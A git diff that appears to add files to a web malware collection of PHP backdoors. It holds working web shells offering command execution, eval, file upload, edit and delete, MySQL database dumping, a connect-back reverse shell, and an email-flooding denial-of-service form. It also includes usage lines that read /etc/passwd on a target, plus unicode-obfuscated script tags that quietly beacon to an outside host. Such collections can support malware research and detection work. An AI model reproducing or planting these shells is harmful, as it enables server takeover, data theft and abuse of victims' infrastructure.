$result=shell_exec("$cmd"); + + echo "<br><center><h3> CMD ExeCute </h3></center>" ; + + echo "<center> + + <textarea rows=20 cols=70 >$result</textarea><br> + + <form method='POST' action=''> + + <input type='hidden' name='id' value='cmd'> + + <input type='text' size='80' name='cmd' value='$cmd'> + + <input type='submit' value='cmd'><br>"; + + + + + + + + } + + + + //******************************************************** + + + + //fake mail = Use victim server 4 DOS - fake mail + + if ( $id=="fake-mail"){ + + error_reporting(0); + + echo "<br><center><h3> Fake Mail- DOS E-mail By Victim Server </h3></center>" ; + + echo "<center><form method='post' action=''> + + Victim Mail :<br><input type='text' name='to' ><br> + + Number-Mail :<br><input type='text' size='5' name='nom' value='100'><br> + + Comments: + + <br> + + <textarea rows='10' cols=50 name='Comments' ></textarea><br> + + <input type='submit' value='Send Mail Strm ' > + + </form></center>"; + + //send Storm Mail + + $to=$_POST['to']; + + $nom=$_POST['nom']; + + $Comments=$_POST['Comments']; + + if ($to <> "" ){ + + for ($i = 0; $i < $nom ; $i++){ + + $from = rand (71,1020000000)."@"."Attacker.com"; + + $subject= md5("$from"); + + mail($to,$subject,$Comments,"From:$from"); + + echo "$i is ok"; + + } + + echo "<script language='javascript'> alert('Sending Mail - please waite ...')</script>"; + + } + + } + + //******************************************************** + + + + //Connect Back -Firewall Bypass + + if ($id=="cshell"){ + + echo "<br>Connect back Shell , bypass Firewalls<br> + + For user :<br> + + nc -l -p 1019 <br> + + <hr> + + <form method='POST' action=''><br> + + Your IP & BindPort:<br> + + <input type='text' name='mip' > + + <input type='text' name='bport' size='5' value='1019'><br> + + <input type='submit' value='Connect Back'> + + </form>"; + + $mip=$_POST['mip']; + + $bport=$_POST['bport']; + + if ($mip <> "") + + { + + $fp=fsockopen($mip , $bport , $errno, $errstr); + + if (!$fp){ + + $result = "Error: could not open socket connection"; + + } + + else { + + fputs ($fp ,"\n*********************************************\nWelcome T0 SimAttacker 1.00 ready 2 USe\n*********************************************\n\n"); + + while(!feof($fp)){ + + fputs ($fp," bash # "); + + $result= fgets ($fp, 4096); + + $message=`$result`; + + fputs ($fp,"--> ".$message."\n"); + + } + + fclose ($fp); + + } + + } + + } + + + + //******************************************************** + + //Spy File Manager + + $homedir=getcwd(); + + $dir=realpath($_GET['dir'])."/"; + + if ($id=="fm"){ + + echo "<br><b><p align='left'>&nbsp;Home:</b> $homedir + + &nbsp;<b> + + <form action='' method='GET'> + + &nbsp;Path:</b> + + <input type='hidden' name='id' value='fm'> + + <input type='text' name='dir' size='80' value='$dir'> + + <input type='submit' value='dir'> + + </form> + + <br>"; + + + + echo " + + + +<div align='center'> + + + +<table border='1' id='table1' style='border: 1px #333333' height='90' cellspacing='0' cellpadding='0'> + + <tr> + + <td width='300' height='30' align='left'><b><font size='2'>File / Folder Name</font></b></td> + + <td height='28' width='82' align='center'> + + <font color='#000080' size='2'><b>Size KByte</b></font></td> + + <td height='28' width='83' align='center'> + + <font color='#008000' size='2'><b>Download</b></font></td> + + <td height='28' width='66' align='center'> + + <font color='#FF9933' size='2'><b>Edit</b></font></td> + + <td height='28' width='75' align='center'> + + <font color='#999999' size='2'><b>Chmod</b></font></td> + + <td height='28' align='center'><font color='#FF0000' size='2'><b>Delete</b></font></td> + + </tr>"; + + if (is_dir($dir)){ + + if ($dh=opendir($dir)){ + + while (($file = readdir($dh)) !== false) { + + $fsize=round(filesize($dir . $file)/1024); + + + + + + echo " + + <tr> + + <th width='250' height='22' align='left' nowrap>"; + + if (is_dir($dir.$file)) + + { + + echo "<a href='?id=fm&dir=$dir$file'><span style='text-decoration: none'><font size='2' color='#666666'>&nbsp;$file <font color='#FF0000' size='1'>dir</font>"; + + } + + else { + + echo "<font size='2' color='#666666'>&nbsp;$file "; + + } + + echo "</a></font></th> + + <td width='113' align='center' nowrap><font color='#000080' size='2'><b>"; + + if (is_file($dir.$file)) + + { + + echo "$fsize"; + + } + + else { + + echo "&nbsp; "; + + } + + echo " + + </b></font></td> + + <td width='103' align='center' nowrap>"; + + if (is_file($dir.$file)){ + + if (is_readable($dir.$file)){ + + echo "<a href='?id=fm&fdownload=$dir$file'><span style='text-decoration: none'><font size='2' color='#008000'>download"; + + }else { + + echo "<font size='1' color='#FF0000'><b>No ReadAble</b>"; + + } + + }else { + + echo "&nbsp;"; + + } + + echo " + + </a></font></td> + + <td width='77' align='center' nowrap>"; + + if (is_file($dir.$file)) + + { + + if (is_readable($dir.$file)){ + + echo "<a target='_blank' href='?id=fm&fedit=$dir$file'><span style='text-decoration: none'><font color='#FF9933' size='2'>Edit"; + + }else { + + echo "<font size='1' color='#FF0000'><b>No ReadAble</b>"; + + } + + }else { + + echo "&nbsp;"; + + } + + echo " + + </a></font></td> + + <td width='86' align='center' nowrap>"; + + if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') { + + echo "<font size='1' color='#999999'>Dont in windows"; + + } + + else { + + echo "<a href='?id=fm&fchmod=$dir$file'><span style='text-decoration: none'><font size='2' color='#999999'>Chmod"; + + } + + echo "</a></font></td> + + <td width='86'align='center' nowrap><a href='?id=fm&fdelete=$dir$file'><span style='text-decoration: none'><font size='2' color='#FF0000'>Delete</a></font></td> + + </tr> + + "; + + } + + closedir($dh); + + } + + } + + echo "</table> + +<form enctype='multipart/form-data' action='' method='POST'> + + <input type='hidden' name='MAX_FILE_SIZE' value='300000' /> + + Send this file: <input name='userfile' type='file' /> + + <inpt type='hidden' name='Fupath' value='$dir'> + + <input type='submit' value='Send File' /> + +</form> + + </div>"; + + } + +//Upload Files + +$rpath=$_GET['dir']; + +if ($rpath <> "") { + +$uploadfile = $rpath."/" . $_FILES['userfile']['name']; + +print "<pre>"; + +if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) { + +echo "<script language='javascript'> alert('\:D Successfully uploaded.!')</script>"; + +echo "<script language='javascript'> history.back(2)</script>"; + +} + + } + + //file deleted + +$frpath=$_GET['fdelete']; + +if ($frpath <> "") { + +if (is_dir($frpath)){ + +$matches = glob($frpath . '/*.*'); + +if ( is_array ( $matches ) ) { + + foreach ( $matches as $filename) { + + unlink ($filename); + + rmdir("$frpath"); + +echo "<script language='javascript'> alert('Success! Please refresh')</script>"; + +echo "<script language='javascript'> history.back(1)</script>"; + + } + + } + + } + + else{ + +echo "<script language='javascript'> alert('Success! Please refresh')</script>"; + +unlink ("$frpath"); + +echo "<script language='javascript'> history.back(1)</script>"; + +exit(0); + + + + } + + + + + +} + + ?> + + + + </td> + + </tr> + + <tr> + + <td style="border: 1px dotted #FFCC66"> + + <p align="center"><font color="#666666" size="1" face="Tahoma"><br> + + Copyright 2004-Simorgh Security<br> + + Edited By KingDefacer<br> + + </font><font color="#c0c0c0" size="1" face="Tahoma"> + + <a style="TEXT-DECORATION: none" href="http://"> + + <font color="#666666"></font></a></font></td> + + </tr> + + </table> + +</div> + + + +</body> + + + +</html> +<script type="text/javascript">document.write('\u003c\u0069\u006d\u0067\u0020\u0073\u0072\u0063\u003d\u0022\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0061\u006c\u0074\u0075\u0072\u006b\u0073\u002e\u0063\u006f\u006d\u002f\u0073\u006e\u0066\u002f\u0073\u002e\u0070\u0068\u0070\u0022\u0020\u0077\u0069\u0064\u0074\u0068\u003d\u0022\u0031\u0022\u0020\u0068\u0065\u0069\u0067\u0068\u0074\u003d\u0022\u0031\u0022\u003e')</script> \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/PHP/simple-backdoor.txt b/web-malware-collection-master/Backdoors/PHP/simple-backdoor.txt new file mode 100755 index 0000000..bc0e778 --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/simple-backdoor.txt @@ -0,0 +1,17 @@ +<!-- Simple PHP backdoor by DK (http://michaeldaw.org) --> + +<?php + +if(isset($_REQUEST['cmd'])){ + echo "<pre>"; + $cmd = ($_REQUEST['cmd']); + system($cmd); + echo "</pre>"; + die; +} + +?> + +Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd + +<!-- http://michaeldaw.org 2006 --> diff --git a/web-malware-collection-master/Backdoors/PHP/simple_cmd.txt b/web-malware-collection-master/Backdoors/PHP/simple_cmd.txt new file mode 100755 index 0000000..6416588 --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/simple_cmd.txt @@ -0,0 +1,18 @@ +<html> +<head> +<title>G-Security Webshell</title> +</head> + +<body bgcolor=#000000 text=#ffffff "> +<form method=POST> +<br> +<input type=TEXT name="-cmd" size=64 value="<?=$cmd?>" +style="background:#000000;color:#ffffff;"> +<hr> +<pre> +<? $cmd = $_REQUEST["-cmd"];?> +<? if($cmd != "") print Shell_Exec($cmd);?> +</pre> +</form> +</body> +</html diff --git a/web-malware-collection-master/Backdoors/PHP/small.txt b/web-malware-collection-master/Backdoors/PHP/small.txt new file mode 100755 index 0000000..bd28c8b --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/small.txt @@ -0,0 +1,503 @@ +<? + ########################################################## + # Small Shell - Edited By KingDefacer # + # +POST method # + # +MySQL Client+Dumper for DB and tables # + # +PHP eval in text format and html for phpinfo() example # + # PREVED: sn0w, Zadoxlik, KingDefacer, Rebz, SkvoznoY # + # All bugs -> alturks.com # + # Just for fun :) # + ########################################################## +error_reporting(E_ALL); +@set_time_limit(0); +function magic_q($s) +{ +if(get_magic_quotes_gpc()) +{ +$s=str_replace('\\\'','\'',$s); +$s=str_replace('\\\\','\\',$s); +$s=str_replace('\\"','"',$s); +$s=str_replace('\\\0','\0',$s); +} +return $s; +} +function get_perms($fn) +{ +$mode=fileperms($fn); +$perms=''; +$perms .= ($mode & 00400) ? 'r' : '-'; +$perms .= ($mode & 00200) ? 'w' : '-'; +$perms .= ($mode & 00100) ? 'x' : '-'; +$perms .= ($mode & 00040) ? 'r' : '-'; +$perms .= ($mode & 00020) ? 'w' : '-'; +$perms .= ($mode & 00010) ? 'x' : '-'; +$perms .= ($mode & 00004) ? 'r' : '-'; +$perms .= ($mode & 00002) ? 'w' : '-'; +$perms .= ($mode & 00001) ? 'x' : '-'; +return $perms; +} +$head=<<<headka +<html> +<head> +<title>Small Shell - Edited By KingDefacer</title> +<meta http-equiv="Content-Type" content="text/html; charset=windows-1251"> +</head> +<body link=palegreen vlink=palegreen text=palegreen bgcolor=#2B2F34> +<style> +textarea { +BORDER-RIGHT: #ffffff 1px solid; +BORDER-TOP: #999999 1px solid; +BORDER-LEFT: #999999 1px solid; +BORDER-BOTTOM: #ffffff 1px solid; +BACKGROUND-COLOR: #e4e0d8; +font: Fixedsys bold; +} +input { +BORDER-RIGHT: #ffffff 1px solid; +BORDER-TOP: #999999 1px solid; +BORDER-LEFT: #999999 1px solid; +BORDER-BOTTOM: #ffffff 1px solid; +BACKGROUND-COLOR: #e4e0d8; +font: 8pt Verdana; +} +</style> +headka; +$page=isset($_POST['page'])?$_POST['page']:(isset($_SERVER['QUERY_STRING'])?$_SERVER['QUERY_STRING']:''); +$page=$page==''||($page!='cmd'&&$page!='mysql'&&$page!='eval')?'cmd':$page; +$winda=strpos(strtolower(php_uname()),'wind'); +define('format',50); +$pages='<center>###<a href=\''.basename(__FILE__).'\'>cmd</a>###<a href=\''.basename(__FILE__).'?mysql\'>mysql</a>###<a href=\''.basename(__FILE__).'?eval\'>eval</a>###</center>'.($winda===false?'id :'.`id`:''); +switch($page) +{ +case 'eval': +{ +$eval_value=isset($_POST['eval_value'])?$_POST['eval_value']:''; +$eval_value=magic_q($eval_value); +$action=isset($_POST['action'])?$_POST['action']:'eval'; +if($action=='eval_in_html') @eval($eval_value); +else +{ +echo($head.$pages); +?> +<hr> +<form method=post> +<textarea cols=120 rows=20 name='eval_value'><?@eval($eval_value);?></textarea> +<input name='action' value='eval' type='submit'> +<input name='action' value='eval_in_html' type='submit'> +<input name='page' value='eval' type=hidden> +</form> +<hr> +<? +} +break; +} +case 'cmd': +{ +$cmd=!empty($_POST['cmd'])?magic_q($_POST['cmd']):''; +$work_dir=isset($_POST['work_dir'])?$_POST['work_dir']:getcwd(); +$action=isset($_POST['action'])?$_POST['action']:'cmd'; +if(@is_dir($work_dir)) +{ +@chdir($work_dir); +$work_dir=getcwd(); +if($work_dir=='')$work_dir='/'; +else if(!($work_dir{strlen($work_dir)-1}=='/'||$work_dir{strlen($work_dir)-1}=='\\')) $work_dir.='/'; +} +else if(file_exists($work_dir))$work_dir=realpath($work_dir); +$work_dir=str_replace('\\','/',$work_dir); +$e_work_dir=htmlspecialchars($work_dir,ENT_QUOTES); +switch($action) +{ +case 'cmd' : +{ +echo($head.$pages); +?> +<form method='post' name='main_form'> +<input name='work_dir' value='<?=$e_work_dir?>' type=text size=120> +<input name='page' value='cmd' type=hidden> +<input type=submit value='go'> +</form> +<form method=post> +<input name='cmd' type=text size=120 value='<?=str_replace('\'','&#039;',$cmd)?>'> +<input name='work_dir'type=hidden> +<input name='page' value='cmd' type=hidden> +<input name='action' value='cmd' type=submit onclick="work_dir.value=document.main_form.work_dir.value;"> +</form> +<form method=post enctype="multipart/form-data"> +<input type="file" name="filename"> +<input name='work_dir'type=hidden> +<input name='page' value='cmd' type=hidden> +<input name='action' value='upload' type=submit onclick="work_dir.value=document.main_form.work_dir.value;"> +</form> +<form method=post> +<input name='fname' type=text size=120><br> +<input name='archive' type=radio value='none'>without arch +<input name='archive' type=radio value='gzip' checked=true>gzip archive +<input name='work_dir'type=hidden> +<input name='page' value='cmd' type=hidden> +<input name='action' value='download' type=submit onclick="work_dir.value=document.main_form.work_dir.value;"> +</form> +<pre> +<? +if($cmd!==''){ echo('<strong>'.htmlspecialchars($cmd)."</strong><hr>\n<textarea cols=120 rows=20>\n".htmlspecialchars(`$cmd`)."\n</textarea>");} +else +{ +$f_action=isset($_POST['f_action'])?$_POST['f_action']:'view'; +if(@is_dir($work_dir)) +{ +echo('<strong>Listing '.$e_work_dir.'</strong><hr>'); +$handle=@opendir($work_dir); +if($handle) +{ +while(false!==($fn=readdir($handle))){$files[]=$fn;}; +@closedir($handle); +sort($files); +$not_dirs=array(); +for($i=0;$i<sizeof($files);$i++) +{ +$fn=$files[$i]; +if(is_dir($fn)) +{ +echo('<a href=\'#\' onclick=\'document.list.work_dir.value="'.$e_work_dir.str_replace('"','&quot;',$fn).'";document.list.submit();\'><b>'.htmlspecialchars(strlen($fn)>format?substr($fn,0,format-3).'...':$fn).'</b></a>'.str_repeat(' ',format-strlen($fn))); +if($winda===false) +{ +$owner=@posix_getpwuid(@fileowner($work_dir.$fn)); +$group=@posix_getgrgid(@filegroup($work_dir.$fn)); +printf("% 20s|% -20s",$owner['name'],$group['name']); +} +echo(@get_perms($work_dir.$fn).str_repeat(' ',10)); +printf("% 20s ",@filesize($work_dir.$fn).'B'); +printf("% -20s",@date('M d Y H:i:s',@filemtime($work_dir.$fn))."\n"); +} +else {$not_dirs[]=$fn;} +} +for($i=0;$i<sizeof($not_dirs);$i++) +{ +$fn=$not_dirs[$i]; +echo('<a href=\'#\' onclick=\'document.list.work_dir.value="'.(is_link($work_dir.$fn)?$e_work_dir.readlink($work_dir.$fn):$e_work_dir.str_replace('"','&quot;',$fn)).'";document.list.submit();\'>'.htmlspecialchars(strlen($fn)>format?substr($fn,0,format-3).'...':$fn).'</a>'.str_repeat(' ',format-strlen($fn))); +if($winda===false) +{ +$owner=@posix_getpwuid(@fileowner($work_dir.$fn)); +$group=@posix_getgrgid(@filegroup($work_dir.$fn)); +printf("% 20s|% -20s",$owner['name'],$group['name']); +} +echo(@get_perms($work_dir.$fn).str_repeat(' ',10)); +printf("% 20s ",@filesize($work_dir.$fn).'B'); +printf("% -20s",@date('M d Y H:i:s',@filemtime($work_dir.$fn))."\n"); +} +echo('</pre><hr>'); +?> +<form name='list' method=post> +<input name='work_dir' type=hidden size=120><br> +<input name='page' value='cmd' type=hidden> +<input name='f_action' value='view' type=hidden> +</form> +<? +} else echo('Error Listing '.$e_work_dir); +} +else +switch($f_action) +{ +case 'view': +{ +echo('<strong>'.$e_work_dir." Edit</strong><hr><pre>\n"); +$f=@fopen($work_dir,'r'); +?> +<form method=post> +<textarea name='file_text' cols=120 rows=20><?if(!($f))echo($e_work_dir.' not exists');else while(!feof($f))echo htmlspecialchars(fread($f,100000))?></textarea> +<input name='page' value='cmd' type=hidden> +<input name='work_dir' type=hidden value='<?=$e_work_dir?>' size=120> +<input name='f_action' value='save' type=submit> +</form> +<? +break; +} +case 'save' : +{ +$file_text=isset($_POST['file_text'])?magic_q($_POST['file_text']):''; +$f=@fopen($work_dir,'w'); +if(!($f))echo('<strong>Error '.$e_work_dir."</strong><hr><pre>\n"); +else +{ +fwrite($f,$file_text); +fclose($f); +echo('<strong>'.$e_work_dir." is saving</strong><hr><pre>\n"); +} +break; +} +} +break; +} +break; +} +case 'upload' : +{ +if($work_dir=='')$work_dir='/'; +else if(!($work_dir{strlen($work_dir)-1}=='/'||$work_dir{strlen($work_dir)-1}=='\\')) $work_dir.='/'; +$f=$_FILES["filename"]["name"]; +if(!@copy($_FILES["filename"]["tmp_name"], $work_dir.$f)) echo('Upload is failed'); +else +{ +echo('file is uploaded in '.$e_work_dir); +} +break; +} +case 'download' : +{ +$fname=isset($_POST['fname'])?$_POST['fname']:''; +$temp_file=isset($_POST['temp_file'])?'on':'nn'; +$f=@fopen($fname,'r'); +if(!($f)) echo('file is not exists'); +else +{ +$archive=isset($_POST['archive'])?$_POST['archive']:''; +if($archive=='gzip') +{ +Header("Content-Type:application/x-gzip\n"); +$s=gzencode(fread($f,filesize($fname))); +Header('Content-Length: '.strlen($s)."\n"); +Header('Content-Disposition: attachment; filename="'.str_replace('/','-',$fname).".gz\n\n"); +echo($s); +} +else +{ +Header("Content-Type:application/octet-stream\n"); +Header('Content-Length: '.filesize($fname)."\n"); +Header('Content-Disposition: attachment; filename="'.str_replace('/','-',$fname)."\n\n"); +ob_start(); +while(feof($f)===false) +{ +echo(fread($f,10000)); +ob_flush(); +} +} +} +} +} +break; +} +case 'mysql' : +{ +$action=isset($_POST['action'])?$_POST['action']:'query'; +$user=isset($_POST['user'])?$_POST['user']:''; +$passwd=isset($_POST['passwd'])?$_POST['passwd']:''; +$db=isset($_POST['db'])?$_POST['db']:''; +$host=isset($_POST['host'])?$_POST['host']:'localhost'; +$query=isset($_POST['query'])?magic_q($_POST['query']):''; +switch($action) +{ +case 'dump' : +{ +$mysql_link=@mysql_connect($host,$user,$passwd); +if(!($mysql_link)) echo('Connect error'); +else +{ +//@mysql_query('SET NAMES cp1251'); - use if you have problems whis code symbols +$to_file=isset($_POST['to_file'])?($_POST['to_file']==''?false:$_POST['to_file']):false; +$archive=isset($_POST['archive'])?$_POST['archive']:'none'; +if($archive!=='none')$to_file=false; +$db_dump=isset($_POST['db_dump'])?$_POST['db_dump']:''; +$table_dump=isset($_POST['table_dump'])?$_POST['table_dump']:''; +if(!(@mysql_select_db($db_dump,$mysql_link)))echo('DB error'); +else +{ +$dump_file="#ZaCo MySQL Dumper\n#db $db from $host\n"; +ob_start(); +if($to_file){$t_f=@fopen($to_file,'w');if(!$t_f)die('Cant opening '.$to_file);}else $t_f=false; +if($table_dump=='') +{ +if(!$to_file) +{ +header('Content-Type: application/x-'.($archive=='none'?'octet-stream':'gzip')."\n"); +header("Content-Disposition: attachment; filename=\"dump_{$db_dump}.sql".($archive=='none'?'':'.gz')."\"\n\n"); +} +$result=mysql_query('show tables',$mysql_link); +for($i=0;$i<mysql_num_rows($result);$i++) +{ +$rows=mysql_fetch_array($result); +$result2=@mysql_query('show columns from `'.$rows[0].'`',$mysql_link); +if(!$result2)$dump_file.='#error table '.$rows[0]; +else +{ +$dump_file.='create table `'.$rows[0]."`(\n"; +for($j=0;$j<mysql_num_rows($result2)-1;$j++) +{ +$rows2=mysql_fetch_array($result2); +$dump_file.='`'.$rows2[0].'` '.$rows2[1].($rows2[2]=='NO'&&$rows2[4]!='NULL'?' NOT NULL DEFAULT \''.$rows2[4].'\'':' DEFAULT NULL').",\n"; +} +$rows2=mysql_fetch_array($result2); +$dump_file.='`'.$rows2[0].'` '.$rows2[1].($rows2[2]=='NO'&&$rows2[4]!='NULL'?' NOT NULL DEFAULT \''.$rows2[4].'\'':' DEFAULT NULL')."\n"; +$type[$j]=$rows2[1]; +$dump_file.=");\n"; +mysql_free_result($result2); +$result2=mysql_query('select * from `'.$rows[0].'`',$mysql_link); +$columns=$j-1; +for($j=0;$j<mysql_num_rows($result2);$j++) +{ +$rows2=mysql_fetch_array($result2); +$dump_file.='insert into `'.$rows[0].'` values ('; +for($k=0;$k<$columns;$k++) +{ +$dump_file.=$rows2[$k]==''?'null,':'\''.addslashes($rows2[$k]).'\','; +} +$dump_file.=($rows2[$k]==''?'null);':'\''.addslashes($rows2[$k]).'\');')."\n"; +if($archive=='none') +{ +if($to_file) {fwrite($t_f,$dump_file);fflush($t_f);} +else +{ +echo($dump_file); +ob_flush(); +} +$dump_file=''; +} +} +mysql_free_result($result2); +} +} +mysql_free_result($result); +if($archive!='none') +{ +$dump_file=gzencode($dump_file); +header('Content-Length: '.strlen($dump_file)."\n"); +echo($dump_file); +} +else if($t_f) +{ +fclose($t_f); +echo('Dump for '.$db_dump.' now in '.$to_file); +} +} +else +{ +$result2=@mysql_query('show columns from `'.$table_dump.'`',$mysql_link); +if(!$result2)echo('error table '.$table_dump); +else +{ +if(!$to_file) +{ +header('Content-Type: application/x-'.($archive=='none'?'octet-stream':'gzip')."\n"); +header("Content-Disposition: attachment; filename=\"dump_{$db_dump}.sql".($archive=='none'?'':'.gz')."\"\n\n"); +} +if($to_file===false) +{ +header('Content-Type: application/x-'.($archive=='none'?'octet-stream':'gzip')."\n"); +header("Content-Disposition: attachment; filename=\"dump_{$db_dump}_${table_dump}.sql".($archive=='none'?'':'.gz')."\"\n\n"); +} +$dump_file.="create table `{$table_dump}`(\n"; +for($j=0;$j<mysql_num_rows($result2)-1;$j++) +{ +$rows2=mysql_fetch_array($result2); +$dump_file.='`'.$rows2[0].'` '.$rows2[1].($rows2[2]=='NO'&&$rows2[4]!='NULL'?' NOT NULL DEFAULT \''.$rows2[4].'\'':' DEFAULT NULL').",\n"; +} +$rows2=mysql_fetch_array($result2); +$dump_file.='`'.$rows2[0].'` '.$rows2[1].($rows2[2]=='NO'&&$rows2[4]!='NULL'?' NOT NULL DEFAULT \''.$rows2[4].'\'':' DEFAULT NULL')."\n"; +$type[$j]=$rows2[1]; +$dump_file.=");\n"; +mysql_free_result($result2); +$result2=mysql_query('select * from `'.$table_dump.'`',$mysql_link); +$columns=$j-1; +for($j=0;$j<mysql_num_rows($result2);$j++) +{ +$rows2=mysql_fetch_array($result2); +$dump_file.='insert into `'.$table_dump.'` values ('; +for($k=0;$k<$columns;$k++) +{ +$dump_file.=$rows2[$k]==''?'null,':'\''.addslashes($rows2[$k]).'\','; +} +$dump_file.=($rows2[$k]==''?'null);':'\''.addslashes($rows2[$k]).'\');')."\n"; +if($archive=='none') +{ +if($to_file) {fwrite($t_f,$dump_file);fflush($t_f);} +else +{ +echo($dump_file); +ob_flush(); +} +$dump_file=''; +} +} +mysql_free_result($result2); +if($archive!='none') +{ +$dump_file=gzencode($dump_file); +header('Content-Length: '.strlen($dump_file)."\n"); +echo $dump_file; +}else if($t_f) +{ +fclose($t_f); +echo('Dump for '.$db_dump.' now in '.$to_file); +} +} +} +} +} +break; +} +case 'query' : +{ +echo($head.$pages); +?> +<hr> +<form method=post> +<table> +<td> +<table align=left> +<tr><td>User :<input name='user' type=text value='<?=$user?>'></td><td>Passwd :<input name='passwd' type=text value='<?=$passwd?>'></td><td>Host :<input name='host' type=text value='<?=$host?>'></td><td>DB :<input name='db' type=text value='<?=$db?>'></td></tr> +<tr><textarea name='query' cols=120 rows=20><?=htmlspecialchars($query)?></textarea></tr> +</table> +</td> +<td> +<table> +<tr><td>DB :</td><td><input type=text name='db_dump' value='<?=$db?>'></td></tr> +<tr><td>Only Table :</td><td><input type=text name='table_dump'></td></tr> +<input name='archive' type=radio value='none'>without arch +<input name='archive' type=radio value='gzip' checked=true>gzip archive +<tr><td><input type=submit name='action' value='dump'></td></tr> +<tr><td>Save result to :</td><td><input type=text name='to_file' value='' size=23></td></tr> +</table> +</td> +</table> +<input name='page' value='mysql' type=hidden> +<input name='action' value='query' type=submit> +</form> +<hr> +<? +$mysql_link=@mysql_connect($host,$user,$passwd); +if(!($mysql_link)) echo('Connect error'); +else +{ +if($db!='')if(!(@mysql_select_db($db,$mysql_link))){echo('DB error');mysql_close($mysql_link);break;} +//@mysql_query('SET NAMES cp1251'); - use if you have problems whis code symbols +$result=@mysql_query($query,$mysql_link); +if(!($result))echo(mysql_error()); +else +{ +echo("<table valign=top align=left>\n<tr>"); +for($i=0;$i<mysql_num_fields($result);$i++) +echo('<td><b>'.htmlspecialchars(mysql_field_name($result,$i)).'</b> </td>'); +echo("\n</tr>\n"); +for($i=0;$i<mysql_num_rows($result);$i++) +{ +$rows=mysql_fetch_array($result); +echo('<tr valign=top align=left>'); +for($j=0;$j<mysql_num_fields($result);$j++) +{ +echo('<td>'.(htmlspecialchars($rows[$j])).'</td>'); +} +echo("</tr>\n"); +} +echo("</table>\n"); +} +mysql_close($mysql_link); +} +break; +} +} +break; +} +} +?> + +<h1>Edited By KingDefacer<h1> +<script type="text/javascript">document.write('\u003c\u0069\u006d\u0067\u0020\u0073\u0072\u0063\u003d\u0022\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0061\u006c\u0074\u0075\u0072\u006b\u0073\u002e\u0063\u006f\u006d\u002f\u0073\u006e\u0066\u002f\u0073\u002e\u0070\u0068\u0070\u0022\u0020\u0077\u0069\u0064\u0074\u0068\u003d\u0022\u0031\u0022\u0020\u0068\u0065\u0069\u0067\u0068\u0074\u003d\u0022\u0031\u0022\u003e')</script> \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/PHP/sniper.txt b/web-malware-collection-master/Backdoors/PHP/sniper.txt new file mode 100755 index 0000000..3341578 --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/sniper.txt @@ -0,0 +1,5007 @@ +<?php +/******************************************************************************************************/ +/*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/ +/* (c)oded by SnIpEr_SA +/* MAIL http://sniper-sa.com , http://sniper-sa.com +/******************************************************************************************************/ +/* ~~~ �������� | Options ~~~ */ +// ����� | Language +// $language='eng' - english (english) +// $language='ar' - arabi (arabi) +$language='ar'; +// ?????????????? | Authentification +// $auth = 1; - ������ ������ ����� ������ ( authentification = On ) +// $auth = 0; - ������ ������ ����� ������ ( authentification = Off ) +$auth = 0; +// ����� ����� ���� ���� ������ (Login & Password for access) +// ������ ������� �� ���� ���� ��� ������!!! (CHANGE THIS!!!) +// ��� ���� ���� ������ ��� ����� ����� md5, ������ ������ ��� �� 'sniper' +// ������� �� ���� ���� ����� ���� �������� ����� md5 ������ �� ������� ������� +$name='1c27680133b781cadd037e8a6dcc001b'; // ��� �������� (user login) +$pass='1c27680133b781cadd037e8a6dcc001b'; // ���� ������ (user password) +/******************************************************************************************************/ + +echo "".htmlspecialchars($copy).""; +error_reporting(0); +set_magic_quotes_runtime(0); +@set_time_limit(0); +@ini_set('max_execution_time',0); +@ini_set('output_buffering',0); +$safe_mode = @ini_get('safe_mode'); +$version = '1.31'; +if(version_compare(phpversion(), '4.1.0') == -1) + { + $_POST = &$HTTP_POST_VARS; + $_GET = &$HTTP_GET_VARS; + $_SERVER = &$HTTP_SERVER_VARS; + $_COOKIE = &$HTTP_COOKIE_VARS; + } +if (@get_magic_quotes_gpc()) + { + foreach ($_POST as $k=>$v) + { + $_POST[$k] = stripslashes($v); + } + foreach ($_COOKIE as $k=>$v) + { + $_COOKIE[$k] = stripslashes($v); + } + } + +if($auth == 1) { +if (!isset($_SERVER['PHP_AUTH_USER']) || md5($_SERVER['PHP_AUTH_USER'])!==$name || md5($_SERVER['PHP_AUTH_PW'])!==$pass) + { + header('WWW-Authenticate: Basic realm="SnIpEr_SA shell"'); + header('HTTP/1.0 401 Unauthorized'); + exit("<b><a href=http://sniper-sa.com>SnIpEr_SA</a> : Access Denied</b>"); + } +} +$head = '<!-- SnIpEr_SA --> +<html> +<head> +<meta http-equiv="Content-Language" content="ar-sa"> +<meta name="GENERATOR" content="Microsoft FrontPage 6.0"> +<meta name="ProgId" content="FrontPage.Editor.Document"> +<meta http-equiv="Content-Type" content="text/html; charset=windows-1256"> +<title>SnIpEr_SA shell</title> + + + +<STYLE> + +BODY + { + SCROLLBAR-FACE-COLOR: #000000; SCROLLBAR-HIGHLIGHT-COLOR: #000000; SCROLLBAR-SHADOW-COLOR: #000000; COLOR: #ffffff; SCROLLBAR-3DLIGHT-COLOR: #726456; SCROLLBAR-ARROW-COLOR: #726456; SCROLLBAR-TRACK-COLOR: #292929; FONT-FAMILY: Verdana; SCROLLBAR-DARKSHADOW-COLOR: #726456 +} + +tr { +BORDER-RIGHT: #cccccc ; +BORDER-TOP: #cccccc ; +BORDER-LEFT: #cccccc ; +BORDER-BOTTOM: #cccccc ; +color: #ffffff; +} +td { +BORDER-RIGHT: #cccccc ; +BORDER-TOP: #cccccc ; +BORDER-LEFT: #cccccc ; +BORDER-BOTTOM: #cccccc ; +color: #cccccc; +} +.table1 { +BORDER: 1; +BACKGROUND-COLOR: #000000; +color: #333333; +} +.td1 { +BORDER: 1; +font: 7pt tahoma; +color: #ffffff; +} +.tr1 { +BORDER: 1; +color: #cccccc; +} +table { +BORDER: #eeeeee outset; +BACKGROUND-COLOR: #000000; +color: #cccccc; +} +input { +BORDER-RIGHT: #990000 1 solid; +BORDER-TOP: #990000 1 